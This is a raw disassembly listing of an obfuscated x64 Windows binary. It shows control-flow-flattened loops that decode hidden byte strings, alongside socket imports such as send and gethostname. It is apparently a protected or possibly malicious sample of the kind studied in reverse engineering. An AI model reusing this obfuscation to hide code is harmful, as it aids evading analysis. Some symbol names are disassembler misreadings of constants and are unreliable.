sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
movzx eax, byte [rbp + rbx + 0xb80]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140077f62
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14007890e
movabs rdx, 0x10b661af3e631918
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, Ordinal_46
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x140078b98
lea rax, [rcx + 1]
cmp r8, rax
jne 0x14007893d
movabs rdx, 0x9d7cff9e19e9dace
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, Ordinal_50
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
jmp 0x140078b35
lea rax, [r9 + 7]
cmp r8, rax
jne 0x140078975
movabs rdx, 0xcc69deedb86c1b60
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, Ordinal_50
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
dec rbx
inc rbx
jmp 0x140077f62
lea rax, [r9 + 6]
cmp r8, rax
jne 0x14007843b
movabs rdx, 0x2a439d8cf5709c84
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_50
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
jmp 0x140078aaf
movabs rdx, 0x881d5c2c32751da8
add rdx, rbx
movzx eax, r11b
and al, dl
movzx ecx, byte [rbp + rbx + 0xb80]
sub cl, al
add cl, 0x34
lea r10d, [rcx + rcx]
jmp 0x140078b35
movabs rdx, 0xb70a3b7bd0f75e3a
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, gethostname
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
jmp 0x140078b98
movabs rcx, 0x930b029092ebeb1f
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
add r10b, 0x27
movzx eax, byte [rbp + rbx + 0xb80]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140077f62
movabs rcx, 0x64464a1b7652969
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
add r10b, 0x21
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140077f62
movabs rcx, 0x4a90e7633d5c2721
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x19
inc r9
dec rbx
inc rbx
jmp 0x140077f62
movabs rdx, 0x1ba408139ed9e68f
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
add r10b, 0x17
add r10b, dl
movabs rcx, 0x70a6ec846333fd5f
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
add r11b, 0x67
add r11b, cl
mov byte [rbp + rbx + 0xb80], r11b
inc r9
dec rbx
inc rbx
jmp 0x140077f62
movabs rcx, 0x8edd6a24c35324d9
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
add r10b, 0x11
inc r9
dec rbx
inc rbx
jmp 0x140077f62
movabs rdx, 0x3103ab85864ea3b5
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
add r10b, 0xd
add r10b, dl
movabs rcx, 0x9f93cbd401b63df1
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
add cl, 0x69
add cl, r11b
add cl, r10b
mov byte [rbp + rbx + 0xb80], cl
add r8, r9
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140077f62
mov r11, rdx
movabs rcx, 0xa43d0d96aac7e1ff
add rcx, rbx
movzx eax, cl
and al, dl
add al, al
sub cl, al
lea r10d, [rdx + rcx]
add r10b, 7
movabs rdx, 0xce80ab23a0387e83
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
add cl, 0x6b
add cl, dl
movzx eax, cl
mov byte [rbp + rbx + 0xb80], al
inc r9
add rax, r9
sub rbx, rax
movabs rdx, 0xe5f71acb6f799ecc
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, gethostname
sub cl, al
add cl, cl
add cl, r11b
add cl, dl
mov byte [rbp + rbx + 0xb80], cl
inc r8
mov rax, r13
sub rax, r8
add rbx, rax
movzx eax, byte [rbp + rbx + 0xb80]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140077f62
movabs rcx, 0x46634ef76dc360db
add rcx, rbx
movzx eax, dl
and al, cl
add al, al
sub cl, al
lea r10d, [rdx + rcx]
add r10b, 3
movzx eax, byte [rbp + rbx + 0xb80]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140077f62
movabs rcx, 0x3088022eacd5c5ed
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x7b
jmp 0x140077f60
movabs rcx, 0x19b22df0e53855b
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x7d
jmp 0x140077f50
lea rcx, [rbp + 0x141bc8c]
jmp 0x140078cac
lea rcx, [rbp + 0x102dcd5]
jmp 0x140078cac
lea rcx, [rbp + 0xb80]
mov rdx, rdi
call fcn.1400353f0
lea rdx, [0x14021ad50]
lea rcx, [rbp + 0x500]
call fcn.1400022f0
mov rdx, rax
mov rcx, qword [0x140220748]
call fcn.1400693e0
mov rcx, rax
call fcn.14006a7d0
mov rsi, rax
mov byte [rbp + 0xba8], Ordinal_79
mov byte [rbp + 0xba9], 0xa2
mov byte [rbp + 0xbaa], 0xb9
mov byte [rbp + 0xbab], 0xbf
mov byte [rbp + 0xbac], 0xad
mov byte [rbp + 0xbad], 0xa3
mov byte [rbp + 0xbae], 0xad
mov byte [rbp + 0xbaf], 0xb4
mov byte [rbp + 0xbb0], select
mov byte [rbp + 0xbb1], 0x50
mov byte [rbp + 0xbb2], 0xb4
mov byte [rbp + 0xbb3], 0xb0
mov byte [rbp + 0xbb4], 0xb7
mov byte [rbp + 0xbb5], 0xbc
mov byte [rbp + 0xbb6], Ordinal_41
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xbb7], xmm0
mov dword [rbp + 0xbc7], eax
movabs r14, 0xf403c9c39d892cdd
movabs r15, 0xa47a990298d51cc3
movabs r12, 0xe2929e2ceb5a5571
movzx r11d, byte [rsp + 0x40]
mov r8, qword [0x140220a80]
mov r9, qword [0x140220a78]
nop
xor edi, edi
movabs rcx, 0x60f3fd6ad6bd63a9
cmp rdi, 0x23
jae 0x140079af2
movzx ebx, byte [rbp + rdi + 0xba8]
mov r10, rbx
cmp r8, rdi
ja 0x140079ae9
lea rax, [r9 + 1]
cmp r8, rax
jae 0x140078ddc
add rcx, rdi
mov rax, rbx
and rax, rcx
imul r11, rax, 0xfffffffffffffffe
add r11, rbx
add r11, rcx
add r11b, 0x61
jmp 0x140078e22
je 0x140079a64
inc rax
cmp r8, rax
je 0x1400799fd
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400799a4
lea rax, [r9 + 5]
cmp r8, rax
je 0x140079942
lea rax, [r9 + 4]
cmp r8, rax
je 0x140079919
lea rax, [r9 + 9]
cmp r8, rax
je 0x1400798c7
cmp r9, rdi
ja 0x140079ae0
lea rax, [r9 + 0x400]
cmp r8, rax
jae 0x140078e52
lea rdx, [rdi + r14]
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0xb
add r11b, dl
jmp 0x140078e92
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400798a7
inc rax
cmp r8, rax
je 0x14007987b
lea rax, [r9 + 3]
cmp r8, rax
je 0x140079852
lea rax, [r9 + 2]
cmp r8, rax
je 0x14007982f
lea rax, [r9 + 8]
cmp r8, rax
je 0x1400797fb
lea rax, [r9 + r8]
cmp rax, rdi
jbe 0x1400794dc
nop
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400794b8
lea rax, [r9 + 3]
cmp r8, rax
je 0x140079487
lea rax, [r9 + 0x61]
cmp r8, rax
je 0x140079459
lea rax, [r9 + 0x41]
cmp r8, rax
je 0x140079435
lea rax, [r9 + 0x2a]
cmp r8, rax
je 0x140079412
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400793da
lea rax, [r9 + 0x1000]
cmp r8, rax
je 0x1400793b5
lea rax, [r9 + 0x7a]
cmp r8, rax
je 0x14007938e
lea rax, [r9 + 0x5a]
cmp r8, rax
je 0x14007935a
lea r8, [r9 + 0x10]
lea r9, [r8 + 0x400]
lea rax, [r9 + 0x28]
cmp r8, rax
jb 0x140079abd
lea rax, [r9 + 5]
cmp r8, rax
jb 0x140079a9a
lea rax, [r9 + 8]
cmp r8, rax
jb 0x14007906c
lea rax, [r9 + 0xa]
cmp r8, rax
jb 0x14007904e
lea rax, [r9 + 0x20]
cmp r8, rax
jb 0x140079030
lea rax, [r9 + 0x40]
cmp r8, rax
jb 0x1400792f9
lea rax, [r9 + 6]
cmp r8, rax
jb 0x140079295
lea rax, [r9 + 9]
cmp r8, rax
jb 0x140079245
lea rax, [r9 + 0x10]
cmp r8, rax
jb 0x140079217
lea r8, [r9 + 0x61]
lea r9, [r8 + 5]
lea rax, [r9 + 0x41]
cmp r8, rax
ja 0x1400791e3
lea rax, [r9 + 0x80]
cmp r8, rax
ja 0x1400791bb
lea rax, [r9 + 0x3e8]
cmp r8, rax
ja 0x140079196
lea rax, [r9 + 0x1000]
cmp r8, rax
ja 0x140079163
lea rax, [r9 + 0x7a]
cmp r8, rax
ja 0x140079140
lea rax, [r9 + 0x64]
cmp r8, rax
ja 0x14007911b
lea rax, [r9 + 0x200]
cmp r8, rax
ja 0x1400790ed
lea rax, [r9 + 0x400]
cmp r8, rax
ja 0x1400790c1
lea rax, [r9 + 0x61]
cmp r8, rax
ja 0x14007909d
lea r8, [r9 + 8]
lea r9, [r8 + 0x80]
jmp 0x140078ea0
lea rdx, [rdi + r15]
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x55
add r11b, dl
jmp 0x140078e92
lea rdx, [rdi + r12]
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x17
add r11b, dl
jmp 0x140078e22
movabs rdx, 0x20aaa3573ddf8e1f
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
add r11b, 0x27
add r11b, dl
movabs rcx, 0x60f3fd6ad6bd63a9
jmp 0x140078dae
movabs rdx, 0xa01e4e1cec4966e8
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x58
jmp 0x1400798e6
movabs rcx, 0xde3653473ece9f96
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x1a
inc r9
dec rdi
inc rdi
jmp 0x140078d92
movabs rdx, 0x1c4e58719153d844
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WS2_32.dll_select
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
dec rdi
inc rdi
jmp 0x140078d92
movabs rdx, 0x5a665d9be3d910f2
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, Ordinal_50
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
jmp 0x140079961
movabs rcx, 0x987e62c6365e49a0
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x60
jmp 0x14007998c
movabs rcx, 0xd69667f088e3824e
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x22
movzx eax, r11b
mov rcx, r13
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x140078d92
movabs rdx, 0x14ae6d1adb68bafc
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, select
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
jmp 0x1400799c7
movabs rdx, 0x52c672452dedf3aa
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_45
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x140079a20
movabs rcx, 0x90de776f80732c58
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x68
movzx eax, byte [rbp + rdi + 0xba8]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140078d92
movabs rcx, 0xac1a84594ec03a0b
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x4d
mov byte [rbp + rdi + 0xba8], r11b
inc rdi
jmp 0x140078d92
movabs rdx, 0xea328983a14572b9
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0xf
add r11b, dl
cmp r9, 2
jb 0x140079235
movabs rcx, 0xa136f8918f75b556
add rcx, rdi
movzx eax, cl
and al, bl
mov edx, reloc.WS2_32.dll_send
sub dl, al
add dl, dl
add dl, cl
add dl, bl
lea r11d, [rdx + rdx]
jmp 0x1400798e9
movabs rdx, 0x284a8eadf3caab67
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
add r11b, 0x2f
add r11b, dl
cmp r8, 0x80
jae 0x1400797b1
lea rax, [r9 + 0x2a]
cmp r8, rax
jbe 0x1400796b2
movabs rdx, 0xe272c38c8a9ec22
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, 9
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x140079267
movabs rdx, 0x666293d8464fe415
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
add r11b, 0x6d
add r11b, dl
lea rax, [r9 + r8]
cmp rax, 5
je 0x1400797d9
lea rax, [r9 + 0x42]
cmp r8, rax
jbe 0x140079612
movabs rdx, 0x1a2362752b20bf45
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
add r11b, 0x1d
jmp 0x1400792b4
movabs rcx, 0xb816ba95b1370d2e
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x42
movzx eax, byte [rbp + rdi + 0xba8]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140078d92
movabs rdx, 0xf62ebfc003bc45dc
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 4
add r11b, dl
jmp 0x140079a20
movabs rdx, 0x3446c4ea56417e8a
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, Ordinal_33
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
jmp 0x1400799c7
movabs rdx, 0x725eca14a8c6b738
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_60
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
movzx eax, r11b
mov rcx, r13
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x140078d92
movabs rcx, 0xb076cf3efb4befe6
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x4a
jmp 0x14007998c
movabs rdx, 0xee8ed4694dd12894
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0xc
jmp 0x140079961
movabs rdx, 0x2ca6d993a0566142
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, Ordinal_27
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
dec rdi
inc rdi
jmp 0x140078d92
movabs rdx, 0x6abedebdf2db99f0
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, gethostname
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
inc r9
dec rdi
inc rdi
jmp 0x140078d92
movabs rdx, 0xa8d6e3e84560d29e
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x52
jmp 0x1400798e6
lea rax, [r9 + 0x61]
cmp r8, rax
jae 0x140079509
movabs rdx, 0x60f3fd6ad6bd63a9
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
add r11b, 0x61
jmp 0x140079318
lea rax, [r9 + 1]
cmp r8, rax
jne 0x140079546
movabs rcx, 0xe80793873b1259ba
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x16
movzx eax, byte [rbp + rdi + 0xba8]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140078d92
lea rax, [r9 + 2]
cmp r8, rax
jne 0x140079574
movabs rdx, 0x6bd789329607e85e
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, gethostname
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
jmp 0x1400799c7
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400795b5
movabs rdx, 0x2dbf84084382afb0
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, Ordinal_27
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
movzx eax, r11b
mov rcx, r13
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x140078d92
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400795e1
movabs rcx, 0xefa77eddf0fd7702
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0xe
jmp 0x14007998c
lea rax, [r9 + 4]
cmp r8, rax
jne 0x14007931b
movabs rdx, 0xf7476a34a6e8944a
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 6
jmp 0x1400798e6
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14007963f
movabs rdx, 0xdc0b5d4ad89b8697
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x21
jmp 0x1400798e6
lea rax, [r9 + 3]
cmp r8, rax
jne 0x140079671
movabs rcx, 0x5fdb52f63391153b
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
add r11b, 0x63
dec rdi
inc rdi
jmp 0x140078d92
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400792b7
movabs rcx, 0xeb4b33f84471c127
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x11
movzx eax, byte [rbp + rdi + 0xba8]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140078d92
lea rcx, [r9 + 1]
cmp r8, rcx
jne 0x1400796ef
movabs rcx, 0xd00f270e7624b374
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x2c
movzx eax, byte [rbp + rdi + 0xba8]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140078d92
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14007971d
movabs rdx, 0x53df1cb9d11a4218
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, Ordinal_46
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
jmp 0x1400799c7
lea rax, [rcx + 1]
cmp r8, rax
jne 0x140079749
movabs rcx, 0xd7af12652c0fd0bc
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x24
jmp 0x14007998c
lea rax, [r9 + 4]
cmp r8, rax
jne 0x140079776
movabs rdx, 0x99970d3ad98a980e
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x62
jmp 0x140079961
lea rax, [r9 + 7]
cmp r8, rax
jne 0x140079267
movabs rdx, 0x5b7f081087055f60
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, Ordinal_50
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
dec rdi
inc rdi
jmp 0x140078d92
movabs rdx, 0x631ef3673cf07ca8
add rdx, rdi
movzx eax, bl
and al, dl
movzx ecx, byte [rbp + rdi + 0xba8]
sub cl, al
add cl, 0x34
lea r11d, [rcx + rcx]
jmp 0x140079961
movabs rdx, 0x2506ee3cea6b43fa
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WS2_32.dll_setsockopt
sub cl, al
lea r11d, [rcx + rcx]
jmp 0x1400799c7
movabs rcx, 0xc52b9b46b6da2ebf
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x39
movzx eax, byte [rbp + rdi + 0xba8]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140078d92
movabs rcx, 0xbd8baff000ef1177
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x41
jmp 0x14007998c
movabs rcx, 0x39bbba44a5f982d3
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
add r11b, 0x3b
dec rdi
inc rdi
jmp 0x140078d92
movabs rcx, 0x77d3bf6ef87ebb81
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
add r11b, 0x79
inc r9
dec rdi
inc rdi
jmp 0x140078d92
movabs rcx, 0xb5ebc4994b03f42f
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x49
jmp 0x1400798e9
movabs rdx, 0x321bceedf00e658b
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
add r11b, 0x33
add r11b, dl
movabs rcx, 0x22af5fc663318ff
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
add cl, 7
add cl, bl
mov byte [rbp + rdi + 0xba8], cl
inc r9
dec rdi
inc rdi
jmp 0x140078d92
movabs rcx, 0xae4bd9429518d6e7
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x51
dec rdi
inc rdi
jmp 0x140078d92
movabs rdx, 0xec63de6ce79e0f95
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x13
add r11b, dl
movabs rdx, 0xc412f0d213ade051
add rdx, rdi
movzx eax, dl
and al, bl
add al, al
movzx ecx, r11b
sub cl, al
sub cl, 0x37
add cl, dl
add cl, bl
mov byte [rbp + rdi + 0xba8], cl
add r8, r9
movzx eax, r11b
mov rcx, r13
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x140078d92
mov rbx, r10
movabs rdx, 0xa6abedebdf2db99f
add rdx, rdi
movzx eax, dl
and al, r10b
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x59
add r11b, dl
movabs rdx, 0x85faeba7c128a7a3
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx ecx, bl
sub cl, al
sub cl, 0x75
add cl, dl
movzx eax, cl
mov byte [rbp + rdi + 0xba8], al
inc r9
add rax, r9
sub rdi, rax
jmp 0x140079a20
movabs rcx, 0xe4c3f31631b2f24d
add rcx, rdi
movzx eax, r10b
and al, cl
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x1b
movzx ebx, r10b
movabs rcx, 0xe6eee91297e60b4c
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
sub bl, 0x14
add bl, cl
mov byte [rbp + rdi + 0xba8], bl
inc r8
mov rax, r13
sub rax, r8
add rdi, rax
movzx eax, byte [rbp + rdi + 0xba8]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140078d92
movabs rcx, 0x22dbf84084382afb
add rcx, rdi
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
add r11b, 0x23
movzx eax, byte [rbp + rdi + 0xba8]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140078d92
movabs rcx, 0x5ec2a8819064c6cd
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
add r11b, 0x65
jmp 0x140078d8e
movabs rcx, 0x9cdaadabe2e9ff7b
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x5d
jmp 0x140078d80
lea rcx, [rbp + 0x17f0134]
jmp 0x140079af9
lea rcx, [rbp + 0x7c64dd]
jmp 0x140079af9
lea rcx, [rbp + 0xba8]
mov rdx, rsi
call fcn.1400353f0
lea rdx, [0x14021ae30]
lea rcx, [rbp + 0x520]
call fcn.1400022f0
mov rdx, rax
mov rcx, qword [0x140220748]
call fcn.1400693e0
mov rcx, rax
call fcn.14006a7d0
mov rsi, rax
mov byte [rbp + 0xbd0], 0x60
mov byte [rbp + 0xbd1], 0x84
mov byte [rbp + 0xbd2], 0x7b
mov byte [rbp + 0xbd3], reloc.WLDAP32.dll_Ordinal_143
mov byte [rbp + 0xbd4], 0x98
mov byte [rbp + 0xbd5], Ordinal_143
mov byte [rbp + 0xbd6], gethostname
mov byte [rbp + 0xbd7], 0x54
mov byte [rbp + 0xbd8], 0x88
mov byte [rbp + 0xbd9], Ordinal_143
mov byte [rbp + 0xbda], WSAStartup
mov byte [rbp + 0xbdb], 0x88
mov byte [rbp + 0xbdc], select
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xbdd], xmm0
mov dword [rbp + 0xbed], eax
mov word [rbp + 0xbf1], ax
movabs r14, 0x5d6f3a1df62454
movabs r15, 0xddd8295c1ba65e2c
movabs r12, 0x94aab10d6e213624
movzx r11d, byte [rsp + 0x40]
nop word [rax + rax]
mov r8, qword [0x140220a80]
mov r9, qword [0x140220a78]
nop
xor edi, edi
movabs rdx, 0x2496bc2756c29404
cmp rdi, 0x23
jae 0x14007a97a
movzx ebx, byte [rbp + rdi + 0xbd0]
mov r10, rbx
cmp r8, rdi
ja 0x14007a971
lea rax, [r9 + 1]
cmp r8, rax
jae 0x140079c2d
lea rcx, [rdi + rdx]
mov rax, rbx
and rax, rcx
imul r11, rax, 0xfffffffffffffffe
add r11, rbx
add r11, rcx
sub r11b, 0x1c
jmp 0x140079c73
je 0x14007a8e7
inc rax
cmp r8, rax
je 0x14007a87a
lea rax, [r9 + 3]
cmp r8, rax
je 0x14007a841
lea rax, [r9 + 2]
cmp r8, rax
je 0x14007a80b
lea rax, [r9 + 5]
cmp r8, rax
je 0x14007a7b0
lea rax, [r9 + 4]
cmp r8, rax
je 0x14007a782
cmp r9, rdi
ja 0x14007a968
lea rax, [r9 + 0x400]
cmp r8, rax
jae 0x140079c9f
lea rcx, [rdi + r14]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x4c
jmp 0x140079ce0
lea rax, [r9 + 1]
cmp r8, rax
je 0x14007a72f
inc rax
cmp r8, rax
je 0x14007a6fe
lea rax, [r9 + 3]
cmp r8, rax
je 0x14007a6db
lea rax, [r9 + 2]
cmp r8, rax
je 0x14007a681
lea rax, [r9 + 6]
cmp r8, rax
je 0x14007a64d
nop
lea rax, [r9 + r8]
cmp rax, rdi
jbe 0x14007a31f
nop dword [rax]
lea rax, [r9 + 6]
cmp r8, rax
je 0x14007a2fc
lea rax, [r9 + 0x80]
cmp r8, rax
je 0x14007a2d0
lea rax, [r9 + 0x10]
cmp r8, rax
je 0x14007a2a7
lea rax, [r9 + 0x1000]
cmp r8, rax
je 0x14007a298
lea rax, [r9 + 5]
cmp r8, rax
je 0x14007a25d
lea rax, [r9 + 0x5a]
cmp r8, rax
je 0x14007a22a
lea rax, [r9 + 0xa]
cmp r8, rax
je 0x14007a207
lea rax, [r9 + 0x400]
cmp r8, rax
je 0x14007a1df
lea rax, [r9 + 4]
cmp r8, rax
je 0x14007a1a6
lea rax, [r9 + 0x41]
cmp r8, rax
je 0x140079cf0
lea r8, [r9 + 3]
lea r9, [r8 + 9]
lea rax, [r9 + 0x40]
cmp r8, rax
jb 0x14007a945
lea rax, [r9 + 0x41]
cmp r8, rax
jb 0x14007a91d
lea rax, [r9 + 0x200]
cmp r8, rax
jb 0x140079ee7
lea rax, [r9 + 2]
cmp r8, rax
jb 0x140079ec8
lea rax, [r9 + 0x28]
cmp r8, rax
jb 0x140079eae
lea rax, [r9 + 6]
cmp r8, rax
jb 0x14007a14f
lea rax, [r9 + 0x80]
cmp r8, rax
jb 0x14007a0f9
lea rax, [r9 + 1]
cmp r8, rax
jb 0x14007a0ab
lea rax, [r9 + 0x20]
cmp r8, rax
jb 0x14007a07d
lea rax, [r9 + 5]
cmp r8, rax
jb 0x140079cf0
lea r8, [r9 + 0x10]
lea r9, [r8 + 0x64]
lea rax, [r9 + 0x1000]
cmp r8, rax
ja 0x14007a044
lea rax, [r9 + 5]
cmp r8, rax
ja 0x14007a01c
lea rax, [r9 + 0x5a]
cmp r8, rax
ja 0x140079ff9
lea rax, [r9 + 0xa]
cmp r8, rax
ja 0x140079fc6
lea rax, [r9 + 0x400]
cmp r8, rax
ja 0x140079f90
lea rax, [r9 + 0x40]
cmp r8, rax
ja 0x140079f7c
lea rax, [r9 + 0x41]
cmp r8, rax
ja 0x140079f68
